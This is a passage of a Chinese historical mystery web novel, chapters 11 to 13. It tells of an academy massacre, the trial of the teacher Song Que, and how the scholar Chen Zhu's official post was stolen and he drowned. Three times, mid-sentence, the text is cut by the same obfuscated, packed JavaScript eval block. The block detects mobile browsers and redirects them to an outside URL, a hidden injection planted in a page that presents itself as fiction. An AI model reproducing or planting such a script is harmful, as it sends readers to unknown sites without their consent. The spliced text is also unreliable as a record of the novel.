“那个人是萧府幕僚,当年我一路逃难穷困潦倒,他却早已考取功名,我便将小公子交给他。” “那人是谁?为何之后你没有萧子因的消息?” “我不知道。我那时心高气傲,跟那些人很少来往,我不知道他是谁。” 沈韫冷哼一声“你以为我会信吗?” “信不信便随你,幼公子兴许已经死了,萧家的人都死光了。你们要找他们报仇,他们的仇该找谁报?几位公子,老夫知道的都已经全部说了。萧家真的并非恶人,当年事发时幼公子不过七八岁,你们又为何非要向一个无辜的孩子讨命呢?” 宋鹊的目光落在裴决身上,泪眼婆娑,仿佛又看见了那个正值盛年的萧将军。 复州是回华京的最后一站,从复州出去之后便要去刑场了。宋鹊见到了身着囚衣的萧既白,头发凌乱,依旧身姿挺拔。 那天夜里他带走了熟睡的幼公子,一路上没有追兵,没有人发现。萧将军将一只银铃交给了他,告诉他走得越远越好。 可那年战乱刚平息,他身无分文,幼公子跟着他没有活路。所幸,他遇到了那个幕僚,彼时的他刚登科,愿意将幼公子养在身边。 为了让幼公子活下去,宋鹊别无他法,于是他将幼公子交了出去,约好待他找到安身之处便去接回公子。 可他再回去时,那人已经升迁至华京,幼公子的消息只在书信中传来,他也突然被秋水书院招去做教授。为了前途,他留在了渭州。 他的身上只剩下那只银铃。 11. 灭口 秋水书院,官府的人早就等在了门口。 驸马的马车一到,代知远便赶紧行礼“下官恭迎少卿大人。” 马车幕帘被撩开,符珩的声音从里面传来“代大人不必多礼。” 书院的门紧闭着,官府的人围了一圈。 “书院里什么情况?” “回大人,里面的人不愿出来,已经好几天了。” “你可知道他们为何不愿出来?” “大概是跟陈竺的事有关。” “这几日可有送粮进去?他们的吃喝可有保障?” 代知远将头埋得更低了“回大人,书院里的人不肯吃喝,下官多次派人去交涉,可他们谁也不见。” 符珩皱眉,有些生气“你们办案便是这样办的?连书院的人都不肯信任你们,你这官帽戴着还有什么用!” “大人息怒,下官实在没有办法。书院中有一位教授德薄才疏大逆不道,下官以为书院的人定是受了他的撺掇,否则不会有冤不报。” 符珩冷哼一声,转头示意自己身边的人去叩门。 咚咚咚,几声过后没有人应答。 商缺回头,征寻符珩的意思,符珩示意他继续叩门。 他便又举手叩门,喊道“少卿大人在门外,有何冤屈大可说出来,大人定会为诸位主持公道!” 门后依旧没有动静,安静地如同一潭死水。 诡异的氛围在众人之中蔓延开来,一股凉风席卷他们的衣袍。 情况似乎比想象中的更为不妙。 “把门破开。”符珩沉声道。 商缺一脚将门踢开,门后无人,树枝被吹动,几片叶落下。 一行人走进去,商缺在前,符珩紧跟其后。 穿过前院便是讲学的学堂了,学堂的门开着,一位身着白袍的学生扑倒在门口。 鲜红的血从他的身下漫开,浓重的腥味扑面而来。 讲堂内二十余个书生和三个教授暴毙而亡,每个人的白袍上都溅了血,如泼墨一般。 刀痕可怖,死不瞑目。 他们不应该都在静坐吗?为何会被杀害在此? 符珩的神情凝重,满屋子的血腥不免让人猜测,这书院中藏了什么秘密以至于招来杀身之祸。 代知远等人吓得面色惨白,明明是绝食静坐,可为何变成了这般场景,杀人者又会是谁? “少卿大人,这……这书院的人……” 他磕磕巴巴说不出话来。 符珩冷眼望去,质问道“代大人派了那么多人围着书院,竟不知道一墙之隔出了如此祸事?” “回大人,下官当真没有听到动静,待下官赶到时或许匪徒已经离开了。” “出了这么大的事,这便是代大人给本官的答复?” 代知远愣了愣,似是终于从惊恐中回过神一般,下令道“来人,找人叫仵作过来,剩下的去四处搜查,看看有无可疑之处。” “是!” 一刻钟后,仵作赶来验尸,尸身被一具挨一具地放在院中,官兵拿着册子一位一位地辨析身份。 商缺仔细探查了那间讲堂,进讲堂的杀手是从窗户和门进去的,不止一人。门口的书生应该是想出去求救,却被斩杀。 刀痕很深,一刀致命,杀人者定是常年习武。 符珩问“可有发现?” “回大人,这些人行事利落,没有留下任何痕迹,应该是杀手。可有一人的尸身与其他人不同,他的伤口不在脖颈,而在腹部。” “谁?” “门口那个书生。” 符珩叫来仵作和代知远,问“其余人的身份可都核查清楚了?还有陈竺,他的死因为何?” 仵作道“回大人,书院的人都在这儿了,唯独少了一个宋鹊。陈竺的死因是中毒,身上的刀伤并非致命伤,伤痕可怖,像是仇家寻仇。” “陈竺身上的刀伤和这些人身上的刀伤一样吗?” “回大人,不一样。陈竺的刀伤并不利落,且多为贯穿伤。” “你刚才说书院少了一个叫宋鹊的人?那人是什么身份?” 仵作还未答话,代知远便开口“此人便是我说的那位离经叛道的教授。书院无一幸免,唯独他不在,此事怕是要问他才有线索。” “好。那代大人便去找出宋鹊这个人,两个时辰后,带着你找到的消息来官府见我。” 符珩连一个正眼也没给过他,这渭州当真是天远地远,官不像官,拿着俸禄却不为民谋生计。 当初入仕时信誓旦旦的两袖清风一心为民,入了仕途之后那些誓言初心便都成了他们踩着往上爬的铺路石。 街上突然多了许多官府的人,大肆寻找宋鹊。 “此时还不能把宋先生送回去。”沈韫道。 柳祈反驳“可拖得越久便越可疑,宋鹊迟迟不出现官府的人便不会罢休。” “那你的意思是在这么多官兵巡查的情况下将他放出去?” 他出去之后会怎么说?会不会将他们供出来? 宋鹊就如弦上之箭,箭头直指他们的眉心。 柳祈不知道从哪里拿出来一块红玉,放在桌上,宋鹊的面前。 “宋先生,你想保的那个孩子是死是活全凭你的意思。” 北关有佩戴红玉的风俗,每逢有新生子便会由长辈选一块红玉相赠,作为辟邪的物件。 萧子因自然也有一块。 宋鹊将红玉拿在手中,翻来翻去查看,红玉背部刻有萧字。 顿时,他的脸色大惊,望向柳祈问“你怎会有这个?” 柳祈轻笑“当然是因为萧子因在我手里。” “你撒谎!”不等宋鹊做出反应裴决便吼道。 “裴大人不是说自己不是萧子因吗?为何确定是我在撒谎?” “你这人惯会撒谎!谁知道你是不是随便找了个东西来骗他!” 真有意思。 柳祈笑出了声“裴大人为何这么害怕我骗他?” 不行,不能再说了。继续说下去只会落入他的圈套。 裴决只得忍下。可任由柳祈诓骗宋鹊,那么宋鹊出去之后一定不会供出他们,那他和四皇子就还得受制于此。 柳祈得逞,扭过头警告宋鹊“宋先生,红玉便给你了,那孩子的命可就捏在你的手中了。” 敲门声响起,屋内的人警惕地盯着门口。 “公子,是我。”是常叙。 “进来。” 常叙推门而入,道“外面尽是官兵,驸马已经进城了,他们在找一个叫宋鹊的教授。” 驸马已经进城了?裴决的眼睛一亮,能救他和四皇子的人终于来了。 “我去打听了,秋水书院的那些书生都死了,尸体就摆在书院内。幸存者只有宋鹊,所以官府的人都在找他。” “死……了?”宋鹊双唇发颤,如天塌下来了一般,冲到常叙面前追问“你说他们都……死了?” 常叙嗯了一声。 “怎么会?怎么会?为什么会死?怎么会死的?”宋鹊嘴里念叨着“我要回去!让我回去!” 常叙拦着他,询问柳祈的意思。 柳祈点了点头“你将他送回书院。” 于是一辆拉着货物的马车又从客栈跑向书院偏门的那条巷子。 书院外,官府的人围了一圈又一圈,没人能接近那座院子。 一具接一具盖着白布的尸体被抬出来,宋鹊崩溃到失声,身体已经承受不住他的悲恸,他的双腿不听使唤跪在地上。 他离开时是二十七□□生生的人,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419230|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来时怎么就成了白布裹尸。 眼泪如雨点砸在地上,他痛心疾首。 “那不是宋鹊吗?”一个看客转头看见了他。 他的吆喝声将周围人的目光都吸引了过去,常叙快速躲进了阴影里。 士兵很快来将宋鹊钳制住,可宋鹊没有挣扎,就连被粗鲁地按在地上时他也没有任何反抗。 “这世道早就变了!”他的脸被压得变了形,可他的声音依旧洪亮,仿佛要将这天给喊破。 “早就没有什么黑白之分了,这世道是权利的天下,人人都追名逐利!有权有势便可草菅人命!” “有权有势便可草菅人命!” 他的喊声撕心裂肺,二十余条性命如一张巨网压在他的身上,可杀人者依旧站得直坐得端。 青天之下,岂容恶人挺直腰板! 宋鹊被押至衙门,成为堂下罪人。 代知远找不到任何线索,一切的突破口只能放在恰巧外出的宋鹊身上。 “你还不打算说吗!”惊堂木拍下,代知远做足了审问的样子。 宋鹊头发凌乱,跪在堂下,道“我不知道他们为何会死,这一切难道不是你们的手段吗?” “荒唐!你休要胡说!” 惊堂木的声音震彻公堂。 符珩的眉心一跳,一记冷眼扫过去“代大人急什么,且听听他何出此言。” 他重新看向公堂之下的人,老者慈眉善目,颇有一位儒生的样子。 “宋鹊,事发时你在哪儿?书院的人不都在绝食静坐吗?你为何出门?” 宋先生,那孩子的命可就捏在你的手中了。 柳祈的话在耳边回响。 宋鹊咬咬牙,道“我去了一趟糕点铺,想买些吃的。” “你们不是在绝食吗?” “书院有人撑不住了,我不想拿他们的性命冒险。” “那书院绝食是为了什么?” 宋鹊的声音嘶哑,几乎要将字咬碎一般。“为了举人陈竺案。” “此案你有何冤屈?” “陈竺的尸身尚未寻到。陈竺本是我书院的学生,寒窗十载终得功名,可却落得一个尸首无存的下场。” “此案现由本官接手,你若知道什么尽管说,本官定会主持公道。可在此之前,本官有几个问题想要问你。” “大人请问。” “书院被灭口,你是唯一一个不在场的人,可有线索提供?” “回大人,我什么都不知道。” “你方才说这一切难道不是你们的手段,这句话是什么意思?” 宋鹊怒目圆睁,瞪着代知远“当官不理百姓事,断案不断公平案。书院遭此横祸,跟官府不作为脱不开干系!陈竺的案子官府给不出答复,我只要陈竺的遗体,可官府也迟迟不肯交出!于是我带着书院的学生绝食抗议,可官府视我们如眼中钉,几次派人破门,甚至威胁我们。我没想到你们竟会心狠手辣到如此地步!” 符珩再次看向代知远,冷声道“代大人作何解释?” “大人!此人是在胡言乱语!”他慌了神,站起身来急切地问堂下之人“就因为陈竺的案子没有眉目你便要如此栽赃我吗?官府是派了几次人去不假,可绝无威胁恐吓之意!我们只是好心劝导。何况明知此事已惊动朝廷,驸马不日便会莅临复州,我就算胆大包天也不敢将自己推上断头台啊!” 他说的不假,这件事恰巧在此时发生,必是有人存心要陷害他。 他的确想过威逼利诱将书院的事摆平,也确实诓骗过宋鹊让他们暂时罢休,可他绝没想过要杀人灭口,毕竟陈竺的事跟他真的一点关系也没有。 他只是查不出线索,并非掩埋罪证。 他比谁都想尽快破案,在朝廷面前立下功。 12. 钱财 常叙回到客栈时,官府已经审问了宋鹊半个时辰了。 “怎么样?”柳祈问。 “宋鹊被抓,官府的人在审问他,他没有暴露我们。” “书院的人为何会死?” “我看见其中一人脖颈上有刀口,看伤痕深浅应该是有人雇的杀手。” 沈韫想不明白“谁会如此大胆,在驸马眼皮底下雇凶杀人?” 柳祈接过话道“或许书院有不可告人的秘密,那人怕驸马查出来便提前灭口。” “可书院已经绝食好几天了,若想动手有很多机会,选在驸马进城这一日并非良机。” 是啊,为何偏偏会在驸马进城这一日? 柳祈问常叙“你可知道他们都问了宋鹊些什么?” “问他为何恰巧那个时候外出。宋鹊在公堂一口咬定是代知远心狠手辣所以书院遭此横祸,代知远却道宋鹊是因为陈竺案对他颇有微词。” “因为陈竺案?” “陈竺是秋水书院的学生,宋鹊说书院绝食是因为陈竺的尸身还未找到。” “他要找陈竺的尸身?陈竺已经死了?” “官府至今未找到陈竺的下落,宋鹊认为是官府杀了陈竺。” “他为何会认为是官府杀了陈竺?” 柳祈思索了片刻,突然笑道“我知道假陈竺是被何人所杀了。” 死的陈竺的假的,墙上留下一行字,真陈竺却始终不出现,而宋鹊又要问官府要陈竺的尸身。他要的是秋水书院的陈竺,可他怎会知晓陈竺是死是活? 墙上那行字不是写着举人陈竺前来索命吗? 任谁看了都会认为是真陈竺杀了假陈竺,这么猜测的话真陈竺应该还活着才是。 可宋鹊却要他的尸体。 他定是知晓陈竺已经死了。 若陈竺死在那起命案后,那便是官府杀人灭口。可若是陈竺死在那起命案前,宋鹊便极有可能是命案的真凶。 知道学生遇害,便杀了假陈竺替学生报仇,再纠集书院施压要学生尸体。 他若是杀人者,那可真是漏洞百出。 如此拙劣的计谋,柳祈想得到,自然也有人想得到。 公堂内,符珩命人将陈竺的尸体抬进来,白布下的尸体颜色怪异,死者嘴唇乌黑。 “陈竺的尸体在这儿,你可还认得出?”符珩问宋鹊。 宋鹊只撇了一眼,咬牙切齿道“他并非陈竺!” 符珩哦了一声,看向代知远“代大人,此人的身份查清楚了吗?” “回大人,此人名叫杨科,不是渭州人,下官已经命人去请他的父母前来认尸了。” “那陈竺呢?他人在何处?” “这……”代知远面露难色“回大人,尚未找到陈竺。” “狗官!”一声怒喝从堂下喊出,宋鹊指着代知远骂道“你读书时可也曾学过礼义廉耻?你求取功名时可也曾高喊为官者当以民为本?这些你学的说的如今都去哪儿了?在你金鞍白马踏春风的时候,你早就不记得寒窗苦读的初心了!” “代知远!我问你,陈竺在哪儿你当真不知情吗!” 代知远拍案而起,怒道“大胆!公堂之上岂容你大呼小叫!” 公堂内,众人屏住呼吸,等待着那位端坐其上的少卿大人发话。符珩的眉头紧缩,却迟迟不出言。 半晌,跪在其下的宋鹊突然笑了起来,神情悲切,着实怪异。 “代知远,你真的把路走到头了。你以为不交出尸体就无法追究到你的责任吗?你甚至编排一出戏演到华京,让众人相信你只是真的无能,而非徇私枉法。可你算错了,在陈竺出事以前我见过他一面,他把什么都告诉我了。陈竺是被官府的人所杀,杨科的死是死得其所,他贪图不属于他的东西,自会有人找他讨回来。” 他跪直了身子,向符珩毕恭毕敬地行了个大礼,恳求道“法不阿贵,草民恳请少卿大人明鉴,杀奸人,肃官场,还天下读书人一个公道!” “你的冤屈本官知道了,可本官有一事想问你。杨科的死,跟你有关吗?” 他只是猜测,杨科顶替了陈竺的身份,那么最想要替陈竺讨回公道的人会不会就是杀害杨科的凶手。 宋鹊坦然认罪“杨科是我所杀。我几次三番找官府作主,可没有结果。恶人得不到惩罚,好人不能入土为安,那我便让他们也尝尝惨死的滋味。” “你是如何杀的他?” “他每日会让人去西街买果脯,我在他买的果脯上裹了毒,他死于钩吻之毒。” 符珩看向仵作,仵作点了点头。 死因确实相符。 可符珩没想到他竟然这么直接就认了罪。 “你杀他是为了替陈竺报仇?” “是。陈竺是我的学生,他的死就是奸人杨科所致,我杀他是替陈竺讨回公道。” “杨科是何背景?”符珩问代知远。 “回大人,杨科也是读书人,家中以前经商,妻子是商女。他屡次参加考试,却次次落榜,于去年来的渭州。” “他平日里和谁交好?” “他的友人不多,来渭州之后他便一心钻在书里,连门也不怎么出,上任之后也很少出门。” “在渭州无背景无家世无交际,他又怎会顶替得了他人的官职?任命杨科的是何人?” “回大人,正是下官,可下官让人去核实过他的身份,确实无异啊。” “你撒谎!”宋鹊叩首道“少卿大人,我从未打算逃避罪责,我做好了鱼死网破的准备。杨科的死我认罪伏法,陈竺的死我也恳求大人让代知远伏法!” “你既认定是代大人杀了陈竺,你可有证据?” “陈竺死前将一物交予我,他说那是害他一生的罪魁祸首。少卿大人可派人去书院假山的石砖下取出那物件,待呈上公堂,自会有人认得。” 半个时辰后,一只沉甸甸的钱袋子被呈上。 锦绣缎面,金丝银线,里面装着满满的白银。 代知远当即吓得跌坐在椅子上,他认得这只钱袋子,是他的儿子随身佩戴之物。 可他的儿子没有一官半职,平日里无所事事,怎会跟这等事扯上联系? “此物代大人可认得?”符珩出声。 代知远的脑袋一片空白,事到如今,他不能什么也说不出来了。 “回大人,此物是我儿之物,可我儿痴傻不通政事,其中定是有误会。” “哦?代大人空口白牙怕是不足以为信,不如也拿出证据来为自己开罪吧。” “大人明鉴!若陈竺真为下官所杀,下官又怎敢将此事上报朝廷?若下官真的杀了人,那这件案子便会在渭州就已经有了结了!” “那或许陈竺真不是你所杀呢?而是你的儿子?你并不知晓他所做之事,所以走到如今这个地步?” 他儿子整日游手好闲吃喝玩乐,为什么会做这样的事? 代知远神情绝望,仿佛那把铡刀已经悬在了他的脖子上。 他太了解自己的儿子了,由于自小惯纵,强抢民女当街横行的事也发生过,这样的祸事实有可能会是他闯出来的。 见他久不说话,符珩开口道“来人!将代大人的公子押上来!” 很快,一位身着锦衣的年轻公子被带了上来。 一股酒气扑面而来,他始终不敢抬头“爹!你救救我!我真的没有杀陈竺!” 代知远着急问道“那钱袋子怎么回事!整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419231|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个渭州城都知道那是你整日带着出去招摇的钱袋子,为何会在秋水书院!” “爹!我……我只是给了他一笔钱,我吃醉了酒,就把那一袋子钱都给了他。” 惊堂木拍下,符珩质问“你为何要给他钱?” 年轻公子支支吾吾始终说不出半个字,事情似乎已经无法回旋,他抬头看向堂上戴着官帽的父亲。可这一次,父亲却无法救他。 “事到如今,你便如实供述,你若没杀人少卿大人自然不会冤枉你。”代知远道。 年轻公子垂下头,答“陈竺是我换下的。他只是一个穷酸的书生,实在不通官场之事,就算做了官也没什么前途。可杨科不一样,他打点关系,朋友颇多,谈吐言行都更胜陈竺,此人不用实在可惜。于是我便没有告诉父亲,偷偷将二人调换。后来陈竺知道了,来杨科的家中质问,我当时恰巧在场,又吃了酒,便脑袋一热给了他银两让他也去别的地方参加考试,说不定能遇到赏识他的人。他气不过,想要动手,便被府中家丁打伤。我让家丁将他送出城,他那个时候活得好好的,我绝对没有杀他!他也一定没有死!现在连他的尸体都找不到怎么能断定他已经死了呢!” 话音刚落,宋鹊便连连称道“好啊!说得好啊!尸体找不到便不能说明他已经死了。这便是你们不肯交出尸体的缘由吗!什么谈吐言行都更胜陈竺?分明是因为杨科家中有钱,而陈竺两手空空!你为了银两便随意夺人前途,事到如今你却无半点悔改之心!你枉称为人!” “你休要再胡言了!”代知远急道“我儿说了,陈竺出城时活得好好的,又有家丁可以作证,你究竟为何非要置我们于死地呢!” “你若不纵容你儿子作恶,又怎会有如今这般下场!” “够了!”符珩打断他们“宋鹊,本官问你,你为何断定陈竺已死?” “因为我亲眼看见是他们淹死陈竺!就在城外,陈竺已身负重伤,被他们推入水中,他们走后我将他的尸体捞起来葬于城郊。” “你知道尸体在哪儿,那为何还要纠集书院口口声声说要陈竺的尸体?” “我知道代知远一定会包庇他的儿子,此事断不能让他来管,于是我只能借此方法将事情闹大,朝廷接手,他便无法从中作梗。” 这便说得通了,为何如此简单的案子代知远破不了,因为他不知道此案和自己儿子有关,所以为了保全官帽急于将案子上报。 符珩问“你可愿意让仵作验尸?” “愿意。” “好,那你便带路,找出陈竺的尸体。” 出城的路要经过柳祈所在的客栈,宋鹊换了囚衣,可那枚红玉和那只银铃却被他戴在身上。 红玉和银铃碰撞,发出叮叮当当的响声。 他抬头望向柳祈房间那扇半开的窗户,想要告诉他们他没有暴露他们的行踪。 铃铛声似在梦里传来一般,裴决耳边竟出现了父亲的声音。 他如梦初醒,冲到窗边,寻找铃铛声的来源。 囚衣,官兵,街边的百姓。这场景实在眼熟。 那只铃铛挂在囚徒腰间,摇摇晃晃,和记忆里父亲腰间那只一模一样。 那不是宋鹊吗?他为何会有父亲的铃铛? 柳祈察觉到他脸上细微的变化,颇为满意地勾起了唇角。 “你笑什么?”沈韫低声问。 柳祈也低声答“我笑有时候当看客反而能得到意料之外的惊喜。” “我们什么时候能出城?” “快了,只差最后一步,渭州的棋便走完了。” 裴决的身份还未定下,现下疑心已经占据上风,他只需要将裴决放出去,让他自己确定他的身世,这样这张白纸才算是真正写成。 13. 报应 陈竺确是溺水而亡。 他身上的伤痕众多,死前曾受过极为凶残的殴打,代知远府中的家丁对此事供认不讳。 陈竺出事的那晚,正是杨科春风得意时,府中贵客推杯换盏欢声笑语,一位不速之客不顾身份翻墙而入。 他站在院中,看着屋内烛火通明,小偷满面春风地站在明亮处,而他却如过街之鼠藏身暗处。 他读了这么多年的书,当真认为官场清明,未曾想过自己竟会成为腌臜交易的物品。 他气地浑身发抖,高声怒喊“狗贼杨科!天下竟还有你这样没脸没皮的读书人!” 里间的欢笑声只停了一瞬,随之而来的是更加肆无忌惮的嘲笑。 一个穿着官服的士人走了出来,他站于台阶上,居高临下地睨了一眼阶下之人。 “你是何人?何故在此喧哗?” 陈竺咬紧牙,嘴里似乎尝到了血腥气。他怒不可遏“我是陈竺!被你顶替了身份的陈竺!” “胡说。”杨科不以为意,笑道“你怕不是读书读痴了?夜里风大,你还是快些走吧,别着了凉又四处胡言乱语。” “你!”一阵怒火攻心,陈竺气得险些没站稳。 此时的他衣衫单薄,而杨科却官袍加身,他急切地想为自己讨回公道,却看不清自己如今的处境。 衣薄力弱,正如螳臂当车。 杨科叫来家丁想将他打发走,家丁将几块碎银子放在陈竺手中,陈竺顿觉羞辱,抬手便扬了出去。 “嘶——”门后突然出现一个锦衣公子,捂着额头叫了一声。 他定睛往地上一看,砸中自己的是一枚小碎银,于是他一脚便将其踢开,喊道“谁胆敢对本公子动手?” 杨科听到立马回头,颇为谄媚地将那位公子扶了出来。 “代公子小心,府中闯进来了一个疯子,我已经叫人将他赶走了。”说着他回头对底下站着的家丁催道“还不快将他赶出去,愣在这里做什么?” 家丁连连点头,推搡着陈竺往外走,可陈竺却倔地出奇,恶狠狠地盯着他们。 “杨科!我今夜来此是何目的你最清楚不过,若你执意一错再错,我便不会再给你留余地。明日,我要你自行辞官,将事情原委尽数讲出,否则别怪我一路击鼓鸣冤告到御前!” “你到底在胡说什么?我好心放过你,你别不识好歹!” “不识好歹的人是你杨科!我不管你用了什么方法偷走了我的仕途,渭州告不成我便去复州,复州不行我就入华京。只要我尚还有一口气,你便永无安宁之日!” 这样的话在这几天里杨科听了不少,可陈竺这人性子软,他的威胁实在无关痛痒。 “快些让他走吧。”杨科朝家丁摆了摆手。 家丁刚要动手,一旁醉了酒的代公子却突然开口“等着。他说什么?他便是陈竺?” 代公子看向杨科。 杨科点了点头“让他走吧代公子,我们进去继续吃酒。” “不行!”代公子摇头,坚持道“你就这么放他走了他日后定还会来缠着你,没完没了的,你烦不烦?” “代公子的意思是?” 他努力站直身子,俯视陈竺“我问你,你想要什么?” 陈竺知道他打算做什么,冷哼一声道“我只想拿回属于我的东西。” “你想要的无非官职,可这一个芝麻大的小官能有什么用?我给你足够的钱,难道不比一个手中没有多大权的官职好吗?” “可官职是我辛苦考来的,我只要我的东西物归原主,旁的再好我也不稀罕!” “读书人惯会自恃清高,可到头来不还都是挤破头想往名利场里钻吗?你如今言辞凿凿,等做了官未必是你想的那样。” 陈竺反驳“我跟你们不一样!我考取功名不为了在官场搏名利,我读书考试是为了心中之志向,为了万世之太平!” 他的言辞对身居高位者而言实在是太过古板。 代公子不耐烦地摆了摆手,道“别装模作样了,如今你不就仗着杨科抢了你的官职吗?可我劝你趁早看清楚,你这样不懂变通的人在官场上能走多远?你就算做了官也没有前途的,不如另走一条路。” “你若真的铁了心想做官,我这里也有个机会给你。你知道杨科的官职是怎么来的吗?他在他的家乡屡试不中,遂带上家产来了此地,在这里遇上了我这伯乐。不如你也拿了钱另寻个好地方,说不准也能遇上愿意收留你的人。” 讥笑声刺耳,一只精美的钱袋被丢在陈竺的脚边。 一袋银子便可买走他的一生。 羞愤、怨恨、绝望,万千情绪如丝雨交织,他被困在这场雨中。 “拿了钱便走吧,你们这些读书人实在迂腐,你应该要明白,钱财权势才是滔天的本事。万卷书敲不开庙堂的门,人脉才能一步登天。别以为官场上谁都如表面那样清白,其实人一旦有了权,哪怕是一丁点权力,都会想做人上人。” 凭什么?他绝不要当权贵交易的牺牲品!他要冲破这场雨! 陈竺疾步逼近,情绪击垮了他的理智,他甚至想亲手掐死他们。 可最终,他连他们的衣摆都未曾碰到。 几个家丁将他撂倒,棍棒、拳头尽数落在他的身上。 陈竺护着头,于间隙之中看着小人得意离去,他们的笑脸和那晚的烛光一样刺眼。 他不禁怀疑,错的难道一直都是他吗? 可他念的书学的道理从未教过他应该讨好权贵以谋仕途。 一顿毒打后,陈竺被扔出城外,与他一起被扔出去的还有那袋沉甸甸的银子。 陈竺没有力气再爬起来了,夜里的风刺骨,他几度昏睡,记不清是第几次睁开眼时看见了老师的脸庞。 “你怎么会在这儿?”宋鹊着急地喊着他的名字,将身上的蓑衣盖在陈竺的身上。 过了好一会儿,他终于感觉到了暖和。 “陈竺,是何人伤的你?你为何会躺在这儿?”宋鹊焦急地想知道答案。 陈竺费劲开口“老师,学生无能,读圣贤书也妄想继往圣高节,可却连一个公道都讨不回来。” 眼泪瞬间布满血痕累累的面庞,他在老师面前如一个手足无措的孩童。 “老师回来了,你的事老师都知道了,老师明日便去官府鸣鼓,为你讨回公道!” 陈竺轻轻摇了摇头,将手中的银两交给了宋鹊。 “这是什么?” “这是害我一生的罪魁祸首。” 陈竺用尽力气坐起身,朝宋鹊郑重地叩拜三次。 “老师,学生无能,深负师恩,实愧对老师的教诲,无以回报,唯有……”来世。 宋鹊想扶陈竺起来,却听见他道“拿它葬我吧。” 他以为是自己听错了。 陈竺抬起头,一字一句地重复了一遍“拿它葬我吧。” 话音刚落,他便跌跌撞撞往河边跑,那个地方不远,他拖着受伤的身子一跃而入。 冰冷的河水比风还彻骨。 陈竺睁开眼,看见了水面之上的圆月。 月光清亮,近在咫尺。 他伸手,想要碰到光亮,可那处光照不到他的身上。 他和他的理想一起沉入河底,只留下他的恩师在岸上悲痛欲绝。 那个晚上,宋鹊就做好了同归于尽的打算。 他要让那些人为陈竺偿命。 果脯上的药是他亲自涂的,他怕杨科尝出异味,分了好几次给他下毒。 在最后一次下毒的晚上,他翻墙进了杨科的内院,于杨科家中告诉了杨科一个最剜心的秘密。 杨科多年考试并非屡试不中,而是有人拿钱财去换了原本属于他的前途,正如他对陈竺所作的那样。 杨科的妻子为他赶考苦心经营,他为了不辜负妻子的付出,在一次又一次落榜后竟生出了歹念。 可他并不知道多年前的他也曾是今日之陈竺。 他原本可以光明正大地拥有自己的仕途,他原本可以不做小偷,他原本也是受害者。 可从何时开始,受害者成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419232|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加害者? 杨科死前追悔莫及,含恨道“我从未做错事时人人都欺我,我这一生唯一做错了这么一件事,可为什么偏偏是这件事?为什么偏在这时才告诉我?” 杨科死的那晚月色依旧好,不知陈竺是否看到了他的大仇已报。 宋鹊走出杨科府中时衣衫上的血迹还未干,他一路走到城外陈竺自尽的河边,对着一波静水自说自话了许久。 这便是陈竺案的始终,宋鹊交待了所有,他是如何一刀一刀捅在杨科身上的,他是如何纠集书院的人对官府施压的。 他说“杀了杨科的并非陈竺,而是陈竺的老师宋鹊!既然这天下给不了我们这些寒士公平,那我便为我的学生闯出一片天!” 公堂之上,宋鹊从容地等待自己的结局。 杨科的父母也已经赶到,他们抱着白布下的尸体失声痛哭。 尘埃已定,宋鹊下狱。 至于书院被灭口一事,根据现场留下的证据找到的凶手指认是代知远下令。 于是,代知远被符珩押回大理寺等待调查。 符珩的马车出城,梁昭在窗前眼睁睁看着,想呼救却发不出声音。 客栈内的几人都松了一口气,驸马一走,这渭州便又暂时安全了。 裴决在一刻钟后潜入了狱中,见到了镣铐加身的宋鹊。 两人四目相对,好似有太多话堵住了喉咙。 宋鹊首先打破沉默“公子来这里做什么?你回去告诉那位公子,我没有供出你们,请他也信守承诺。” “你就不怕他是在骗你?”裴决问。 “我知道他也许在骗我,可我不敢不信。于我而言,幼公子的命比什么都重要,我甘愿被一个小儿牵着鼻子走。” “你当真觉得萧子因还活着吗?” “幼公子一定还活着,那个人没有理由杀他。” 裴决的眉头皱得更紧了。 “你腰间的银铃我可以看看吗?” 宋鹊将银铃递出去。 银铃上的纹饰跟裴决记忆里的没有任何差别,他在梦中时常梦见这只银铃。银铃一响,父亲便回来了。 难道他的父亲真的是萧既白? 裴决不敢置信“你从哪儿得到这个东西的?” “我救下幼公子时萧将军给我的。” “你说这个东西是萧既白的?” “没错。” 不,不,他的父亲怎么可能是反贼? “你说你将萧子因交给了一个萧家的幕僚?那人长什么样子?” “记不清了。” “那你可还认得萧子因的模样?” “记不得了。可我知道幼公子自幼便爱刀剑,萧将军有一把御赐的宝剑,幼公子那时还拿不动,萧将军便给幼公子做了把木剑玩。” 家中有一把漂亮的剑,那个时候他还拿不动。 记忆如一阵狂风卷来,裴决吃惊地说不出话来。 他当真是萧子因? 他的神情让宋鹊猜到了他的身份。 “幼公子,老夫愧对萧将军当年托孤,没能照顾你长大,老夫有罪。” 